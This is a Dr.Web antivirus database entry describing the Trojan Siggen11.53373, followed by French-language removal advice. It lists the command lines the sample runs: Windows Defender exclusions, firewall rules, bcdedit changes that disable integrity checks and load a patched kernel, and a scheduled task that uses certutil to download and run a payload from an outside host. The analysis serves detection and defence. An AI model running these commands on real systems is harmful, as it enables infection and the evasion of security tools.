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Trojan.Siggen11.53373
Added to the Dr.Web virus database:
2020-12-02
Virus description added:
2020-12-04
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DivineFirefly' = '"%WINDIR%\rss\csrss.exe"'
Creates or modifies the following files
<SYSTEM32>\tasks\csrss
<SYSTEM32>\tasks\scheduledupdate
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\rss' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\csrss' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\DivineFirefly' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\windefender.exe' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\wup' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<DRIVERS>' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'csrss.exe' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'windefender.exe' = '00000000'
[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] '<File name>.exe' = '00000000'
Executes the following
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes
Modifies file system
Creates the following files
%WINDIR%\rss\csrss.exe
nul
%TEMP%\csrss\patch.exe
%TEMP%\dbghelp.dll
%TEMP%\symsrv.dll
%TEMP%\ntkrnlmp.exe
%TEMP%\osloader.exe
%TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
%TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\download.error
%TEMP%\csrss\dsefix.exe
Deletes the following files
%TEMP%\csrss\patch.exe
%TEMP%\csrss\dsefix.exe
Moves the following files
from %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error to %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\ntkrnlmp.pdb
from %TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\download.error to %TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\winload_prod.pdb
from %TEMP%\ntkrnlmp.exe to <SYSTEM32>\ntkrnlmp.exe
from %TEMP%\osloader.exe to <SYSTEM32>\osloader.exe
Substitutes the following files
%TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
%TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\download.error
Network activity
Connects to
'vs###########ssu5shard58.blob.core.windows.net':443
TCP
HTTP GET requests
http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
'se######.easywbdesign.com':443
'msdl.microsoft.com':443
'vs###########ssu5shard10.blob.core.windows.net':443
UDP
DNS ASK ea####design.com
DNS ASK 18#############d39-89bf-ce6207d267fc.easywbdesign.com
DNS ASK se######.easywbdesign.com
DNS ASK msdl.microsoft.com
DNS ASK microsoft.com
DNS ASK vs###########ssu5shard10.blob.core.windows.net
DNS ASK vs###########ssu5shard58.blob.core.windows.net
Miscellaneous
Adds a root certificate
Creates and executes the following
'%WINDIR%\rss\csrss.exe' ""
'%TEMP%\csrss\dsefix.exe'
'%TEMP%\csrss\patch.exe'
'<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)' (with hidden window)
'%TEMP%\csrss\dsefix.exe' ' (with hidden window)
'<SYSTEM32>\bcdedit.exe' /v' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -default {71A3C7FC-F751-4982-AEC1-E958357E6813}' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -timeout 0' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER' (with hidden window)
'%TEMP%\csrss\patch.exe' ' (with hidden window)
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://misterysnith.com/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340"...' (with hidden window)
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
'%WINDIR%\rss\csrss.exe' ""' (with hidden window)
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD...' (with hidden window)
Executes the following
'<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
'%WINDIR%\syswow64\sc.exe' sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
'%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
'%WINDIR%\syswow64\sc.exe' sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
'%WINDIR%\syswow64\cmd.exe' /C sc sdset Winmon D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
'<SYSTEM32>\bcdedit.exe' /v
'<SYSTEM32>\bcdedit.exe' -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
'<SYSTEM32>\bcdedit.exe' -timeout 0
'<SYSTEM32>\bcdedit.exe' -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
'%WINDIR%\syswow64\cmd.exe' /C sc sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD...
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C
'<SYSTEM32>\bcdedit.exe' -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://misterysnith.com/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340"...
'<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
'<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
'%WINDIR%\syswow64\sc.exe' sdset WinmonProcessMonitor D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
Recommandations pour le traitement
Windows
macOS
Linux
Android
Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space .
Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android . Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
Débranchez votre appareil et rebranchez-le.
En savoir plus sur Dr.Web pour Android
Téléchargez Dr.Web pour Android
Gratuit pour 3 mois
Tous les composants de protection
Renouvellement de la démo via AppGallery/Google Pay
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